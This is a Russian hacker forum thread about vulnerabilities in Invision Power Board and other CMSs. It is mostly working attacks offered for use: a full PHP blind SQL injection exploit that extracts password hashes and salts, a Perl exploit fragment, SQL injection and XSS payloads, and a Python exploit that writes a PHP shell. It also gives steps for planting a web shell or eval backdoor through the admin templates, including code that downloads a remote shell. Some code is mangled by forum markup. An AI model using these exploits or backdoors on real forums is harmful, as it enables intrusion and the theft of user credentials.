ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей IPB] (https://forum.antichat.xyz/showthread.php?t=89112)

adzona 20.03.2010 23:32

1) SQL Injection в "search.php"
С помощью параметра "search_term" можно выполнить произвольные SQL запросы о сервере баз данных.
Из admin/applications/core/modules_public/search/search.php
Цитата:

-------------------------------------------------------------
public function searchResults()
{
/* Search Term */
$search_term = str_replace( """, '"', urldecode( $this->request['search_term'] ) );
$search_term = str_replace( "&", '&', $search_term );
...
/* Count the number of results */
$total_results = $this->search_plugin->getSearchCount( $search_term, ', $content_titles_only );
-------------------------------------------------------------
Как показано выше, представленные пользователем параметра "search_term" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в запрос HTTP, затем "urldecode ()" получит аргумент "27%", а после urldecoding оно будет " '" (одиночная кавычка).
Цитата:

forum/index.php?app=core&module=search&do=quick_search&s earch_filter_app[forums]=
содержание

admin/applications/forums/extensions/searchPlugin.php
Цитата:

-------------------------------------------------------------
public function getSearchCount( $search_term, $group_by='', $content_title_only=false ) {
...
{
/* Query the count */
$this->DB->build( array(
'select' => 'COUNT(*) as total_results',
'from' => array( 'posts' => 'p' ),
'where' => $this->_buildWhereStatement( $search_term,
$content_title_only ),
'group' => $group_by,
'add_join' => array(
...
$this->DB->execute();
-------------------------------------------------------------
Исходный код показывает, что потенциально небезопасных переменная "search_term" используется для построения SQL-запросов.
Очевидно, данные санитарной обработки после использования "urldecode ()" это необходимо, но в данном случае не имеется достаточных санации Данные, введенные пользователем.
Таким образом, удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации, для примера полномочия администратора.

2) SQL-инъекция в "lostpass.php"

С помощью unsanitized пользователей представленных данных в SQL запросов с помощью параметра "помощь", проверку подлинности удаленного злоумышленника может привести IP.Board выполнить произвольные SQL заявления о сервере баз данных.
Цитата:

From "admin/applications/core/modules_public/global/lostpass.php" line ~430
-------------------------------------------------------------
public function lostPasswordValidateForm( $msg='' ) {
...
if( $this->request['uid'] AND $this->request['aid'] )
{
$in_user_id = intval( trim( urldecode( $this->request['uid'] ) ) );
$in_validate_key = trim( urldecode( $this->request['aid'] ) );
$in_type = trim( $this->request['type'] );

...
if (! IPSText::md5Clean( $in_validate_key ) )
{
$this->registry->output->showError( 'validation_key_incorrect', 10113 );
}

if (! preg_match( "/^(?:\d){1,}$/", $in_user_id ) )
{
$this->registry->output->showError( 'uid_key_incorrect', 10114 );
}

/* Attempt to get the profile of the requesting user */
$member = IPSMember::load( $in_user_id );

if( ! $member['member_id'] )
{
$this->registry->output->showError( 'lostpass_no_member', 10115 );
}

/* Get validating info.. */
$validate = $this->DB->buildAndFetch( array( 'select' => '*', 'from' => 'validating',
'where' => "member_id={$in_user_id} and vid='{$in_validate_key}'
and lost_pass=1" ) );
-------------------------------------------------------------
Как видно выше, пользователь представленного параметром "помощи" обрабатывается с использованием PHP функции "urldecode ()". Если злоумышленник использует "% 2527" в GET запросе, а затем "urldecode () будет получать аргументы, как" 27% ", а после urldecoding оно будет" ' "(одиночная кавычка).

Переменная "in_validate_key" Предположим, что это будет Sanitized этой функции:
Цитата:

-------------------------------------------------------------
static public function md5Clean( $text ) {
return preg_replace( "/[^a-zA-Z0-9]/", "" , substr( $text, 0, 32 ) ); }
-------------------------------------------------------------
Однако, "md5Clean ()" Неправильно используется в данном случае, и поэтому оно не делает его работу, как ожидалось.

Чтобы результат удаленный неавторизованный злоумышленник управлять базой данных и приведи конфиденциальной информации или обхода контроля доступа.

adzona 21.03.2010 01:08

Объясните или (желательно ) покажите на этом примере как составить SQL запрос?
Единственное что я понял что уязвимы файлы search.php и lostpass.php

freecold 10.05.2010 19:26

IPB 3.0.1 sql injection exploit
 
<?php
error_reporting(E_ALL);
//////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// IPB 3.0.1 sql injection exploit
// Version 1.0
// written by Cryptovirus
// http://de.crypt.in/
// 31. january 2010
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_POST, so no suspicious logs
// 3. Pretesting saves time if IPB is not vulnerable
// 4. curl extension autoloading
// 5. log format compatible with passwordspro
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//================================================== ===================
$cli = php_sapi_name() === 'cli';
//================================================== ===================
// Die, if executed from webserver
//================================================== ===================
if(!$cli)
{
echo "<html><head><title>Attention!</title></head>\n";
echo "<body><br /><br /><center>\n";
echo "<h1>Error!</h1>\n";
echo "This exploit is meant to be used as php CLI script!<br />\n";
echo "More information:<br />\n";
echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
echo "This script will not run through a webserver.<br />\n";
echo "</center></body></html>\n";
exit;
}
//================================================== ===================
// Print the awesome de.crypt.in logo
//================================================== ===================
echo "\n _ _ _ ";
echo "\n __| | ___ ___ _ __ _ _ _ __ | |_ (_)_ __ ";
echo "\n / _` |/ _ \ / __| '__| | | | '_ \| __| | | '_ \ ";
echo "\n| (_| | __/| (__| | | |_| | |_) | |_ _| | | | |";
echo "\n \__,_|\___(_)___|_| \__, | .__/ \__(_)_|_| |_|";
echo "\n |___/|_| \n\n";
//================================================== ===================
// Check if all command line arguments were passed
//================================================== ===================
if(!isset($argv[1])||!isset($argv[2])||!isset($argv[3])){
echo "Usage: php ".$_SERVER['PHP_SELF']." <target> <userid> <option> [login] [password]\n";
echo "\n";
echo "NOTE: Login and password are optional, use for forums that require registration.\n";
echo "Options: 1 - Fetch username, 2 - Fetch password hash\n\n";
echo "Example: php ".$_SERVER['PHP_SELF']." http://ipb.com/board/ 1 1 foo bar\n";
die;
}
//================================================== ===================
// Set some important variables...
//================================================== ===================
$topicname = '';
$url = $argv[1];
$chosen_id = $argv[2];
$ch_option = $argv[3];
if(isset($argv[4])){
if(isset($argv[5])){
$user_login = $argv[4];
$user_pass = $argv[5];
}
else{
echo "Error: Password not specified with username\n";
die;
}
}
# Proxy settings
# Be sure to use proxy :)
//$proxy_ip_port = '127.0.0.1:8118';
//$proxy_user_password = 'someuser:somepassword';
$outfile = './ipb_log.txt'; //Log file

if(!extension_loaded('curl'))
{
if(!dl('php_curl.dll'))
{
die("Curl extension not loaded!\n Fatal exit ...\n");
}
else
{
echo "Curl loading success\n";
}
}
//================================================== ===================
xecho("Target: $url\n");
xecho("Testing target URL ... \n");
test_target_url();
xecho("Target URL seems to be valid\n");
add_line("======================================== ==");
add_line("Target: $url");
if(isset($argv[4])){
login_to_forum($argv[4], $argv[5]);
}
$i = $chosen_id;
echo "Fetching topics from ID $i\n";
if(!fetch_target_id($i))
{
echo "No topics found.\n";
fwrite(STDOUT, "Last ditch effort, enter topic: ");
$topicname = trim(fgets(STDIN));
}
else echo "Topic found! Hacktime.\n";

// Check chosen option and proceed accordingly
add_line("------------------------------------------");
if($ch_option == 2){
$hash = get_hash($i);
$salt = get_salt($i);
$line = "$i:$hash:$salt";
add_line($line);
xecho("\n------------------------------------------\n");
xecho("User ID: $i\n");
xecho("Hash: $hash\n");
xecho("Salt: $salt");
xecho("\n------------------------------------------\n");
}
else if($ch_option == 1){
$uname = get_user($i);
$line = "The username for id $i is $uname";
add_line($line);
xecho("$uname");
}
xecho("\nQuestions and feedback - http://de.crypt.in/ \n");
die(" \n");
//////////////////////////////////////////////////////////////////////
function login_to_forum($user, $pass)
{
global $url;
$post = 'app=core&module=global&section=login&do=process&u sername='.$user.'&password='.$pass.'&rememberMe=1' ;
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'The login was successful!')>0){
xecho("Logged in.\n");
}
else{
xecho("Error: Unable to login.");
die;
}
}
//////////////////////////////////////////////////////////////////////
function test_target_url()
{
global $url;

$post = 'app=core&module=search&section=search&do=quick_se arch&search_app=core&fromsearch=1&search_filter_ap p%5Ball%5D=1&content_title_only=1&search_term=test %2527';
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Moved Permanently')>0)
{
die('Ivalid. Try adding trailing slash to url. Exiting ...');
}

if(strpos($buff,'No results found for')>0)
{
die('Target is patched? Exiting ...');
}
}
//////////////////////////////////////////////////////////////////////
function fetch_target_id($id)
{
global $url, $topicname;
$post = 'app=core&module=search&do=user_posts&mid='.$id.'& view_by_title=1&search_filter_app%5Bforums%5D=1';
$buff = trim(make_post($url, $post, '', $url));
if(strpos($buff,'View result')>0){
$location = strpos($buff,'View result');
$start = strpos($buff,'>',$location)+1;
$end = strpos($buff,'</a>',$start);
$topicname = substr($buff,$start,($end-$start));
return true;
}
else return false;
}
///////////////////////////////////////////////////////////////////////
function get_salt($id)
{
$len = 5;
$out = '';
xecho("Finding salt ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_saltchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current salt: $out \n");
}
xecho("\nFinal salt for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_saltchar($pos, $id)
{
global $prefix;
$char = '';
$min = 32;
$max = 128;
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_salt,'.$pos.',1))';
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
function get_hash($id)
{
$len = 32;
$out = '';
xecho("Finding hash ...\n");
for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_hashchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current hash: $out \n");
}
xecho("\nFinal hash for ID $id: $out\n\n");
return $out;
}
///////////////////////////////////////////////////////////////////////
function get_hashchar($pos, $id)
{
global $prefix;
$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.members_pass_hash,'.$pos.',1))';
// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);
if($letter)
{
$min = 97;
$max = 102;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}
$curr = 0;
while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);
if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}
break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;
$post = $pattern . '%253e' . $curr;
$bigger = test_condition($post);
if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}
xecho("Current test: $curr-$max-$min\n");
}
return $char;
}
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
function get_user($id)
{
$len = 32;
$out = '';

xecho("Finding username ...\n");

for($i = 1; $i < $len + 1; $i ++)
{
$ch = get_userchar($i, $id);
xecho("Got pos $i --> $ch\n");
$out .= "$ch";
xecho("Current username: $out \n");
}

xecho("\nFinal username for ID $id: $out\n\n");

return $out;
}
///////////////////////////////////////////////////////////////////////
function get_userchar($pos, $id)
{
global $prefix;

$char = '';
$pattern = 'm.member_id='.$id.' AND ORD(SUBSTR(m.name,'.$pos.',1))';

// First let's determine, if it's number or letter
$post = $pattern . '%253e57';
$letter = test_condition($post);

if($letter)
{
$min = 65;
$max = 122;
xecho("Char to find is [a-f]\n");
}
else
{
$min = 48;
$max = 57;
xecho("Char to find is [0-9]\n");
}

$curr = 0;

while(1)
{
$area = $max - $min;
if($area < 2 )
{
$post = $pattern . "=$max";
$eq = test_condition($post);

if($eq)
{
$char = chr($max);
}
else
{
$char = chr($min);
}

break;
}

$half = intval(floor($area / 2));
$curr = $min + $half;

$post = $pattern . '%253e' . $curr;

$bigger = test_condition($post);

if($bigger)
{
$min = $curr;
}
else
{
$max = $curr;
}

xecho("Current test: $curr-$max-$min\n");
}

return $char;
}
///////////////////////////////////////////////////////////////////////
function test_condition($p)
{
global $url;
global $topicname;

$bret = false;
$maxtry = 10;
$try = 1;

$pattern = 'app=core&module=search&section=search&do=quick_se arch&search_app=core&fromsearch=1&search_filter_ap p%%5Ball%%5D=1&content_title_only=1&search_term='. $topicname.'%%2527 IN BOOLEAN MODE) AND %s AND MATCH(t.title) AGAINST(%%2527'.$topicname;
$post = sprintf($pattern, $p);

while(1)
{
$buff = trim(make_post($url, $post, '', $url));

if(strpos($buff,'Your search for the term <em><strong>')>0)
{
$bret = true;
break;
}
elseif(strpos($buff,'No results found for')>0)
{
break;
}
elseif(strpos($buff, 'Driver Error</title>') !== false)
{
die("Sql error! Wrong prefix?\nExiting ... ");
}
else
{
xecho("test_condition() - try $try - invalid return value ...\n");
xecho("Will wait 30 seconds for flood control. Expect 2-3 tries.\n");
xecho("This is going to take years...\n");
sleep(10);
$try ++;
if($try > $maxtry)
{
die("Too many tries - exiting ...\n");
}
else
{
xecho("Trying again - try $try ...\n");
}
}
}

return $bret;
}
///////////////////////////////////////////////////////////////////////
function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
{
$ch = curl_init();
$timeout = 120;
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt ($ch, CURLOPT_COOKIEFILE, 'cookies.txt');


if(!empty($GLOBALS['proxy_ip_port']))
{
curl_setopt($ch, CURLOPT_PROXY, $GLOBALS['proxy_ip_port']);

if(!empty($GLOBALS['proxy_user_password']))
{
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $GLOBALS['proxy_user_password']);
}
}

if(!empty($cookie))
{
curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
}

if(!empty($referer))
{
curl_setopt ($ch, CURLOPT_REFERER, $referer);
}

if($headers === TRUE)
{
curl_setopt ($ch, CURLOPT_HEADER, TRUE);
}
else
{
curl_setopt ($ch, CURLOPT_HEADER, FALSE);
}

$fc = curl_exec($ch);
curl_close($ch);

return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_line($line)
{
global $outfile;
$line .= "\r\n";
$fh = fopen($outfile, 'ab');
fwrite($fh, $line);
fclose($fh);
}
///////////////////////////////////////////////////////////////////////
function xecho($line)
{
if($GLOBALS['cli'])
{
echo "$line";
}
else
{
$line = nl2br(htmlspecialchars($line));
echo "$line";
}
}
///////////////////////////////////////////////////////////////////////
?>

kacergei 28.05.2010 01:51

Цитата:

Сообщение от freecold
IPB 3.0.1 sql injection exploit

Вот результат работы:
Код HTML:

Curl loading success
Target: http://forums.domen.ru/
Testing target URL ...
Target URL seems to be valid
Fetching topics from ID 3
No topics found.
Last ditch effort, enter topic: 7557
Finding hash ...
test_condition() - try 1 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 2 ...
test_condition() - try 2 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 3 ...
test_condition() - try 3 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 4 ...
test_condition() - try 4 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 5 ...
test_condition() - try 5 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 6 ...
test_condition() - try 6 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 7 ...
test_condition() - try 7 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 8 ...
test_condition() - try 8 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 9 ...
test_condition() - try 9 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Trying again - try 10 ...
test_condition() - try 10 - invalid return value ...
Will wait 30 seconds for flood control. Expect 2-3 tries.
This is going to take years...
Too many tries - exiting ...

Как он работает не очень понял можно поподробней а то он чтот не хочет работать

White Bear 07.04.2011 15:47

Exploit Hack Forum IPB >3.1.4 CP n Perl

Exploit Hack Forum IPB 3.1.4 CP n Perl

SQL Injection Exploit

[PHP]
[COLOR="#000000"]#!/usr/bin/perl

## Invision Power Board SQL injection exploi t by RTC-GNC-XxxEmchExxX

## vulnerable forum versions : 1.* , 2.* , 3.*(
0){

print
qq{\b\b DONE]

MEMBER ID:$member_id

};

print ((
$target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));

print
$allchar."\r\n";

}

else

{

print
"\b\b FAILED ]";

}

exit();

}

else

{

$allchar.=chr(42);

}

$s_num++;

}

sub found($$)

{

my $fmin=$_[0];

my $fmax=$_[1];

if ((
$fmax-$fmin)new(Proto=>"tcp",PeerAddr=>"$server",PeerPort=>"80");

printf $socket("GET %sindex.php?act=Login&CODE=autologin HT TP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nC onnection: close\n\n",

$path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);

while()

{

if (/
Set-Cookie:session_id=0;/) { return1; }

}

return
0;

}

sub status()

{

$status=$n%5;

if(
$status==0){ print"\b\b/]"; }

if(
$status==1){ print"\b\b-]"; }

if(
$status==2){ print"\b\b\\]"; }

if(
$status==3){ print"\b\b|]"; }

}

sub usage()

{

print
q(

Invision Power Board v[COLOR="#007700"]

FaR-G9 17.05.2011 01:32

Только что нашел дырку на каком-то ipb 3.x.x, кому не в падлу затестите плз, у самого на подобное времени нет.

Регистрируем акк состоящий из нулей, например "00000"

Дальше идем в профиль, вставляем в подпись

Цитата:

Сообщение от None
;url=javascript:alert('Fuck off');" HTTP-EQUIV="refresh

На странице со своим профилем получаем код:

Код:


Проверял, на опере алерт вылетает, на хроме нет.

[offtop]Да.. активность в разделе, как никогда раньше)[/offtop]

Проверил, баг присутствует во всех 3 версиях вплоть до последней 3.1.4.

Export 16.09.2011 19:21

Нашёл уязвимость на форумах IPB 3.x.x (Работает вплоть до 3.2.2.)

Код:

Раскрытие путей.
(должен быть доступен upgrade)
http://форум/admin/upgrade/index.php?app=upgrade&s=&section[]=index&do=login
Также раскрытие доступно через. HTTP Live Header. Смотрим заголовки,меняем в
http://форум/admin/upgrade/index.php?app=upgrade&s=&section=index&do=login запрос
do=login&username=asd&password=asd(пример запроса)
на do=login&username[]=asd&password[]=asd


ree4 16.11.2011 18:31

а на какой версии папки

/cache/

/style_images/

/jscripts/

/lofiversion/

??

stepashka_ 14.12.2011 15:45

Какие таблицы в БД могут быть у Ipb?

Antonio Falkone 14.12.2011 20:48

Цитата:

Сообщение от stepashka_
Какие таблицы в БД могут быть у Ipb?

http://forums.ibresource.ru/index.php?/topic/47909/

Ereee 05.01.2012 16:25

Заливка шелла IPB 3.x

Вроде такого не было:

1) Идем в админку => Внешний вид => IP.Board(текущий шаблон) => globalTemplate

2) Ставим код между тегами и и жмем Сохранить.

3) Ваш код доступен по адрес http://site/forum/index.php

Не советую туда вставлять бэкдор, типа:

if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));

Так как залитый шелл этим бэкдором будет nobody. Поэтому лучше сразу:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site/shell.txt); //ваш адрес шелла

[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/path/to/writeable/dir/'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//папка доступная для записи

[/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$br[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Тогда шелл будет выполнятся как другие скрипты на сервере.

Expl0ited 05.01.2012 17:49

Цитата:

Сообщение от Ereee
Не советую туда вставлять бэкдор, типа:
if (isset($_REQUEST['e'])) eval(stripslashes($_REQUEST['e']));
Так как залитый шелл этим бэкдором будет nobody. Поэтому лучше сразу:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site/shell.txt); //ваш адрес шелла

[/COLOR][COLOR="#0000BB"]$b[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/path/to/writeable/dir/'[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//папка доступная для записи

[/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$br[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'shell.php'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$a[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$c[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR

Тогда шелл будет выполнятся как другие скрипты на сервере.

с чего это вдруг?

boortyhuhtyu 10.01.2012 03:54

[QUOTE="freecold"]

Testing target URL ...

Fetching topics from ID 1

No topics found.

Last ditch effort, enter topic:

???​

mr.Penguin 07.04.2012 15:20

AnGrY BoY/Siteframe 3.2.3 SQL Injection

Код:

# Exploit Title: Siteframe 'user.php' SQL Injection Vulnerability
# Google Dork: "powered by Siteframe"
# Date: 29/12/2010
# Author: AnGrY BoY
# Software Link: http://sitefrane.org/downloads/
# Version: Siteframe 3.2.3
# Tested on: windows SP2
# CVE : N/A
 
# expolit:
 
# http://localhost/path/user.php?id=[SQL]
 
# http://localhost/path/user.php?id=-2+UNION+SELECT+1,2,3,4,5,concat(user_email,0x3e,user_passwd),7,8,9,10,11+from+users--
 
======================================================================================
# Special Thanks:- all h4kurd members

Vasil A./Invision Power Board 3.2.3 Cross Site Scripting

Код:

Name :  Cross-site scripting vulnerability in Invision Power Board version 3.2.3
Software :  Invision Power Board version 3.2.3
Vendor Homepage :  http://www.invisionpower.com
Vulnerability Type :  Cross-site scripting
Researcher :  Vasil A. xss@9y.com
 
Description
--------------------
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an
Internet forum software produced by Invision Power Services, Inc. It
is written in PHP and primarily uses MySQL as a database management
system, although support for other database engines is available.
 
Details
--------------------
IP Board is affected by a Cross-site scripting vulnerability in version 3.2.3.
 
Example PoC url is as follows :
 
http://example.com/forums/index.php?showforum=53">with(document)alert(cookie)
 
Additional notes:
1.If a forum contain sub-forums this vulnerability don't exist.
 
2.Most of boards uses "Friendly Url style",but the attack can be
performed  by using "legacy URL style" in the query,e.g :
 
http://example.com/forum/index.php?showforum=2">alert(/xss/.source)
 
instead:
 
http://example.com/forum/index.php?/forum/2-example/
 
Solution
--------------------
The vendor issued patch for this vulnerability. Please see the references.
 
Advisory Timeline
--------------------
10/03/2012 - First contact: Sent the vulnerability details
12/03/2012 - Second contact: Ask for patch
14/03/2012 - Vulnerability Fixed
15/03/2012 - Vulnerability Released
 
Credits
-------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

AutoSec Tools/LightNEasy 3.2.3 SQL Injection

Код:

# ------------------------------------------------------------------------
# Software................LightNEasy 3.2.3
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.lightneasy.org/
# Discovery Date..........4/21/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A SQL injection vulnerability in LightNEasy 3.2.3 can be exploited to
# extract arbitrary data. In some environments it may be possible to
# create a PHP shell.
#
#
# --PoC--
 
import socket
 
host = 'localhost'
path = '/lne323'
shell_path = '/shell.php'
port = 80
 
def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)   
 
    s.send('POST ' + path + '/index.php?do=&amp;page= HTTP/1.1\r\n'
          'Host: localhost\r\n'
          'Proxy-Connection: keep-alive\r\n'
          'User-Agent: x\r\n'
          'Content-Length: 73\r\n'
          'Cache-Control: max-age=0\r\n'
          'Origin: null\r\n'
          'Content-Type: multipart/form-data; boundary=----x\r\n'
          'Cookie: userhandle=%22UNION/**/SELECT/**/CONCAT(char(60),char(63),char(112),char(104),char(112),char(32),char(115),char(121),char(115),char(116),char(101),char(109),char(40),char(36),char(95),char(71),char(69),char(84),char(91),char(39),char(67),char(77),char(68),char(39),char(93),char(41),char(59),char(32),char(63),char(62)),%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22,%22%22/**/FROM/**/dual/**/INTO/**/OUTFILE%22../../htdocs/shell.php%22%23\r\n'
          'Accept: text/html\r\n'
          'Accept-Language: en-US,en;q=0.8\r\n'
          'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
          '\r\n'
          '------x\r\n'
          'Content-Disposition: form-data; name="submit"\r\n'
          '\r\n'
          '\r\n'
          '------x--\r\n'
          '\r\n')
 
    resp = s.recv(8192)
 
    http_ok = 'HTTP/1.1 200 OK'
 
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'
 
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)   
 
    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
          'Host: ' + host + '\r\n\r\n')
 
    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'       
    else: print 'shell located at http://' + host + shell_path
 
upload_shell()


+toxa+ 22.04.2012 14:40

забавно, никто не отпостил даже

Код:

[waraxe-2012-SA#086] - Local File Inclusion in Invision Power Board 3.3.0
========================================================================
=======

Author: Janek Vind "waraxe"
Date: 12. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-86.html
CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2226

Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet
forum software produced by Invision Power Services, Inc.
It is written in PHP and primarily uses MySQL as a database management system,
although support for other database engines is available.

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~

Affected are Invision Power Board versions 3.3.0 and 3.2.3, older versions
may be vulnerable as well.

########################################################################
#######
1. Local File Inclusion in "like.php" function "_unsubscribe"
########################################################################
#######

CVE Information:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~
The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CVE-2012-2226 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org/), which standardizes names for
security problems.

Vulnerability Details:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~
Reason: using unsanitized user submitted data for file operations
Attack vector: user submitted GET parameter "key"
Preconditions:
1. attacker must be logged in as valid user
2. PHP must be request['key'] ) );

list( $app, $area, $relId, $likeMemberId, $memberId, $email ) = explode( ';', $key );

/* Member? */
if ( ! $this->memberData['member_id'] )
{
